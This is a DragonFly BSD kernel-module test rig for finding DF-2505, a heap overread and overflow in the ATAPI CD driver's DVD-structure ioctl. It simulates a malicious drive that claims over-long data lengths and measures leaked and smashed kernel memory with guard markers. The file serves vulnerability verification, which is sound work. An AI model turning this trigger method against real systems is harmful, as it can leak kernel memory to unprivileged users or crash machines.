DF-2505 / dfrig4_acd.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 | /* * dfrig4_acd.c -- DF-2505 verification rig * (sys/dev/disk/nata/atapi-cd.c) * * The UNMODIFIED production file atapi-cd.c is compiled into this KLD * (via #include, module plumbing neutralized) and its real * acd_read_structure() code path is driven exactly the way the kernel * drives it for a DVDIOCREADSTRUCTURE ioctl: `s` is a kernel * M_IOCTLOPS buffer of sizeof(struct dvd_struct) -- precisely what * kern_ioctl() allocates (sys/kern/sys_generic.c:675) and later * copyout()s to user (sys/kern/sys_generic.c:730). The ONLY * interposed seam is ata_atapicmd() (defined after the #include so the * production atapi-cd.o object binds to it): READ DVD STRUCTURE * responses are synthesized with a hostile, over-long data-length * field in the response header -- exactly what a malicious ATAPI * device (or a firmware-compromised USB-IDE bridge) returns. The * ccb build, the kmalloc(length), the ntohs(), and BOTH bcopy sites * (atapi-cd.c:1582-1590) are 100% production code. * * Finding under test (DF-2505): * * case DVD_STRUCT_BCA: (atapi-cd.c:1582) * s->length = ntohs(d->length); <-- drive-controlled u16 * bcopy(&d->data[0], &s->data[0], s->length); * * `d` is kmalloc'd with length==192 (BCA) / 2052 (MANUFACT); d->data * sits at +4, so only 188 / 2048 data bytes are in-bounds. A drive * that claims d->length > that makes the production bcopy read PAST * the d allocation (kernel heap info leak into a buffer that * kern_ioctl then copies out to the unprivileged caller), and, for * s->length > 2048, also WRITE past the 2060-byte M_IOCTLOPS s * buffer (kernel heap overflow). * * Tests (sysctl kern.dfrig4_acd_test=<n>, read kern.dfrig4_acd_status): * * 33 CONTROL: hostile-but-legal length 188 (BCA) -> payload 0xC3 in * [0,188), ALL ZERO beyond: proves the marker method has no * false positives. * 30 BCA: hostile length 4096 vs 192-byte allocation -> 0xAA guard * markers (planted around d) appear in s->data[188..]; plus the * destination overflows: ~2048 bytes past the 2060-byte s buffer * (0xBB guards after s smashed). * 31 MANUFACT: hostile length 3000 vs 2052-byte allocation. * 32 MAX ARM: hostile length 0xFFFF -> production bcopy reads * 65531 bytes from a 192-byte chunk (write contained in a big * buffer): expect survival with leaked kernel-heap bytes in * s->data[188..65530] (impact: leak) or a page fault (panic). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/bus.h> #include <sys/bus_private.h> /* struct bsd_device layout */ #include <sys/conf.h> #include <sys/bio.h> #include <sys/buf.h> #include <sys/device.h> #include <sys/nata.h> #include <sys/dvdio.h> /* kern_ioctl()'s private malloc type (sys/kern/sys_generic.c:675); the * kernel symbol is global, bind to it for a faithful destination. */ extern struct malloc_type M_IOCTLOPS[1]; /* ------------------------------------------------------------------ */ /* neutralize the production file's module/driver plumbing so this KLD */ /* registers nothing that clashes with the built-in acd module */ /* ------------------------------------------------------------------ */ #undef DRIVER_MODULE #undef DECLARE_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION #define DRIVER_MODULE(name, busname, driver, devclass, evh, arg) /* rig */ #define DECLARE_MODULE(name, data, sub, order) /* rig */ #define MODULE_DEPEND(name, m, v1, v2, v3) /* rig */ #define MODULE_VERSION(m, v) /* rig */ #include "atapi-cd.c" /* <-- UNMODIFIED production code */ #undef DRIVER_MODULE #undef DECLARE_MODULE #undef MODULE_DEPEND #undef MODULE_VERSION /* ------------------------------------------------------------------ */ /* interposed drive-response seam */ /* ------------------------------------------------------------------ */ static u_int16_t dfrig_hostile_len; /* what the fake drive claims */ static int dfrig_armed; static void *dfrig_last_data; /* d pointer seen by the seam */ static int dfrig_last_count; /* * Marker instrumentation: sizes > 2048 (MANUFACT's 2052) use the kmem * carve path on this guest -- freed chunks are NOT handed back out * promptly, so a freed-hole sandwich can never place markers after d. * Instead, the seam (which runs while production's d exists, BEFORE * the bcopy) allocates a few same-class chunks; the carve is * sequential, so they land directly after d and get read by the * production bcopy. The ATTACK bytes are still only the 2-byte * length field; the 0xAA chunks are pure harness instrumentation. */ #define SEED_N 12 static int dfrig_seed; static void *dfrig_seedp[SEED_N]; static int dfrig_seedn; int ata_atapicmd(device_t dev, u_int8_t *ccb, caddr_t data, int count, int flags, int timeout) { if (dfrig_armed && (flags & ATA_R_READ) && ccb[0] == ATAPI_READ_STRUCTURE) { struct dvd_miscauth *resp = (struct dvd_miscauth *)data; int i; dfrig_last_data = data; dfrig_last_count = count; /* instrumentation: markers carved after d (see above) */ if (dfrig_seed) { dfrig_seedn = 0; for (i = 0; i < SEED_N; i++) { dfrig_seedp[i] = kmalloc(count, M_ACD, M_WAITOK | M_ZERO); if (dfrig_seedp[i] == NULL) break; memset(dfrig_seedp[i], 0xAA, count); dfrig_seedn++; } } /* Malicious drive: transfers only `count` bytes (the * DMA is bounded by the allocation length in ccb[8:10], * as real hardware is), but CLAIMS a huge data length * in the 2-byte response header. */ bzero(data, count); resp->length = htons(dfrig_hostile_len); for (i = 0; i + 4 < count; i++) resp->data[i] = 0xC3; return 0; } return EIO; } /* ------------------------------------------------------------------ */ /* fake device graph: acd_read_structure() only passes dev through to */ /* ata_atapicmd() (the seam), so a zeroed dummy device_t suffices */ /* ------------------------------------------------------------------ */ static struct bsd_device fake_dev; /* ------------------------------------------------------------------ */ /* status buffer */ /* ------------------------------------------------------------------ */ static char dfrig_status_buf[16384]; static int dfrig_last_rc; #define P(fmt, ...) \ ksnprintf(dfrig_status_buf + strlen(dfrig_status_buf), \ sizeof(dfrig_status_buf) - strlen(dfrig_status_buf), \ fmt "\n", ## __VA_ARGS__) /* ------------------------------------------------------------------ */ /* shared analysis of a production acd_read_structure() call */ /* ------------------------------------------------------------------ */ /* scan region of the (char*)s+12 data window and count marker classes */ static void analyze(struct dvd_struct *s, int alloc_len, int in_bounds, void **sguards, int nguards, const char *tag) { unsigned char *w = (unsigned char *)&s->data[0]; int i, aa = 0, c3 = 0, nz = 0; int first_aa = -1, last_aa = -1, smash = 0, first_smash = -1; int max_off; P(" %s: s=%p sizeof(struct dvd_struct)=%zu s->length=%u " "(drive-claimed, ntohs)", tag, s, sizeof(struct dvd_struct), s->length); /* payload window the production bcopy wrote: [0, s->length) */ max_off = s->length; if (max_off > 65535) max_off = 65535; for (i = 0; i < max_off; i++) { if (w[i] == 0xC3) { c3++; } else if (w[i] == 0xAA) { aa++; if (first_aa < 0) first_aa = i; last_aa = i; } else if (w[i] != 0x00) { nz++; } } P(" data window [0,%d): payload 0xC3 x%d, guard-marker 0xAA x%d, " "other-nonzero x%d", max_off, c3, aa, nz); if (aa > 0) P(" 0xAA markers span [%d..%d] -- FIRST OOB marker at +%d " "(in-bounds data is [0,%d))", first_aa, last_aa, first_aa, in_bounds); /* destination overflow: guards after s smashed? */ if (sguards) { for (i = 0; i < nguards; i++) { size_t k; if (!sguards[i]) continue; for (k = 0; k < sizeof(struct dvd_struct); k++) if (((unsigned char *)sguards[i])[k] != 0xBB) { smash++; if (first_smash < 0) first_smash = i; break; } } (void)first_smash; P(" destination side: %d/%d 0xBB guard chunks after s " "smashed%s", smash, nguards, smash ? " -- WRITE past the 2060-byte M_IOCTLOPS buffer" : ""); } /* verdict bits: OOB READ proven if 0xAA markers appear beyond the * in-bounds window (guards are only reachable past the allocation) */ if (first_aa >= in_bounds) P(" PROOF (OOB READ): bcopy read past the %d-byte `d` " "allocation -- 0xAA guard bytes planted OUTSIDE d appear " "at data[%d..] (atapi-cd.c:1583-1584)", alloc_len, first_aa); else P(" NOTE: no 0xAA beyond %d (markers absent -- placement " "missed?); non-payload-nonzero x%d", in_bounds, nz); dfrig_last_rc = (first_aa >= in_bounds); } /* ------------------------------------------------------------------ */ /* tests */ /* ------------------------------------------------------------------ */ #define DG_N 160 /* d-side guard chunks */ #define MAX_TRIES 6 /* kmalloc placement retries */ /* generic run: production acd_read_structure() call, guard-sandwiched; * retries when kmalloc placement misses the planted holes (per-CPU * kmalloc magazines make LIFO placement nondeterministic) */ static void run_case(int format, u_int16_t hostile, int d_len, int in_bounds, int dest_big) { void *dguards[DG_N]; void *sguards[10]; struct dvd_struct *s; void *d_hole, *s_hole; size_t dsize = d_len; int i, rc, try, placed; const char *tag = (format == DVD_STRUCT_BCA) ? "BCA" : "MANUFACT"; for (try = 1; try <= MAX_TRIES; try++) { /* d-side guards: same kmalloc class as the production * kmalloc(d_len, M_ACD) inside acd_read_structure */ for (i = 0; i < DG_N; i++) { dguards[i] = kmalloc(dsize, M_ACD, M_WAITOK | M_ZERO); memset(dguards[i], 0xAA, dsize); } d_hole = dguards[DG_N / 2]; kfree(dguards[DG_N / 2], M_ACD); dguards[DG_N / 2] = NULL; if (dest_big) { s = kmalloc(131072, M_IOCTLOPS, M_WAITOK | M_ZERO); sguards[0] = NULL; s_hole = NULL; } else { /* faithful kern_ioctl destination + guards */ for (i = 0; i < 10; i++) { sguards[i] = kmalloc( sizeof(struct dvd_struct), M_IOCTLOPS, M_WAITOK | M_ZERO); memset(sguards[i], 0xBB, sizeof(struct dvd_struct)); } s_hole = sguards[5]; kfree(sguards[5], M_IOCTLOPS); sguards[5] = NULL; s = kmalloc(sizeof(struct dvd_struct), M_IOCTLOPS, M_WAITOK | M_ZERO); } s->format = format; s->layer_num = 0; s->agid = 0; dfrig_hostile_len = hostile; dfrig_armed = 1; dfrig_seed = (d_len > 2048) ? 1 : 0; /* carve-path sizes */ dfrig_last_data = NULL; dfrig_last_count = -1; rc = acd_read_structure((device_t)&fake_dev, s);/* PROD */ dfrig_armed = 0; dfrig_seed = 0; placed = (dfrig_last_data == d_hole) && (dest_big || s == s_hole); P("== DF-2505 %s: hostile drive length %u vs %d-byte `d` " "allocation (try %d/%d)%s%s ==", tag, hostile, d_len, try, MAX_TRIES, placed ? " [placed in guard hole]" : "", dfrig_seedn ? " [0xAA marker chunks carved after d " "from the seam]" : ""); P("production acd_read_structure() rc=%d; d=%p (want hole %p," " %s) transfer %d bytes; s=%p (%zu-byte M_IOCTLOPS%s)", rc, dfrig_last_data, d_hole, dfrig_last_data == d_hole ? "HIT" : "MISS", dfrig_last_count, s, sizeof(struct dvd_struct), dest_big ? ", big container" : ""); if (dfrig_seedn) P("seam-carved markers: %d chunks at %p..%p " "(stride %d) -- d=%p", dfrig_seedn, dfrig_seedp[0], dfrig_seedp[dfrig_seedn - 1], d_len, dfrig_last_data); analyze(s, d_len, in_bounds, dest_big ? NULL : sguards, dest_big ? 0 : 10, tag); for (i = 0; i < dfrig_seedn; i++) kfree(dfrig_seedp[i], M_ACD); dfrig_seedn = 0; kfree(s, M_IOCTLOPS); if (!dest_big) for (i = 0; i < 10; i++) if (sguards[i]) kfree(sguards[i], M_IOCTLOPS); for (i = 0; i < DG_N; i++) if (dguards[i]) kfree(dguards[i], M_ACD); if (placed || dfrig_last_rc == 1) return; } P("gave up after %d tries (kmalloc placement kept missing)", MAX_TRIES); } /* --- test 33: CONTROL, hostile-but-legal 188 ----------------------- */ static void dfrig_test33_control(void) { /* BCA: d=kmalloc(192); data at +4 -> 188 in-bounds. A compliant * drive claiming exactly 188 must NOT read OOB. */ run_case(DVD_STRUCT_BCA, 188, 192, 188, 0); } /* --- test 30: BCA hostile 4096 -------------------------------------- */ static void dfrig_test30_bca(void) { run_case(DVD_STRUCT_BCA, 4096, 192, 188, 0); } /* --- test 31: MANUFACT hostile 3000 ---------------------------------- */ static void dfrig_test31_manufact(void) { run_case(DVD_STRUCT_MANUFACT, 3000, 2052, 2048, 0); } /* --- test 32: BCA hostile 0xFFFF (max arm) --------------------------- */ static void dfrig_test32_max(void) { run_case(DVD_STRUCT_BCA, 0xFFFF, 192, 188, 1); /* note: if the read walks into an unmapped page this panics * (fatal proof of unboundedness); survival = leak proof */ } /* ------------------------------------------------------------------ */ /* sysctl plumbing */ /* ------------------------------------------------------------------ */ static int dfrig_testno; static int dfrig_fire_sysctl(SYSCTL_HANDLER_ARGS) { int v = dfrig_testno; int error; error = SYSCTL_OUT(req, &v, sizeof(v)); if (error != 0 || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &v, sizeof(v)); if (error != 0) return (error); dfrig_status_buf[0] = '\0'; dfrig_last_rc = -1; switch (v) { case 30: dfrig_test30_bca(); break; case 31: dfrig_test31_manufact(); break; case 32: dfrig_test32_max(); break; case 33: dfrig_test33_control(); break; default: P("unknown test %d (30=BCA4096,31=MANU3000,32=MAX65535," "33=control188)", v); break; } P("last_rc=%d", dfrig_last_rc); dfrig_testno = v; return (0); } static int dfrig_status_sysctl(SYSCTL_HANDLER_ARGS) { return (SYSCTL_OUT(req, dfrig_status_buf, strlen(dfrig_status_buf) + 1)); } SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_test, CTLTYPE_INT | CTLFLAG_RW, 0, 0, dfrig_fire_sysctl, "I", "fire dfrig4_acd test N"); SYSCTL_PROC(_kern, OID_AUTO, dfrig4_acd_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, dfrig_status_sysctl, "A", "last dfrig4_acd test output"); static int dfrig4_acd_modevent(module_t mod, int type, void *data) { switch (type) { case MOD_LOAD: bzero(&fake_dev, sizeof(fake_dev)); kprintf("dfrig4_acd: loaded (production atapi-cd.c compiled " "in; kern.dfrig4_acd_test=30|31|32|33)\n"); return (0); case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t dfrig4_acd_mod = { "dfrig4_acd", dfrig4_acd_modevent, 0 }; static struct mod_metadata _mod_metadata_dfrig4_acd = { MDT_STRUCT_VERSION, MDT_MODULE, &dfrig4_acd_mod, "dfrig4_acd" }; DATA_SET(modmetadata_set, _mod_metadata_dfrig4_acd); SYSINIT(dfrig4_acdmodule, SI_SUB_DRIVERS, SI_ORDER_MIDDLE, module_register_init, &dfrig4_acd_mod); |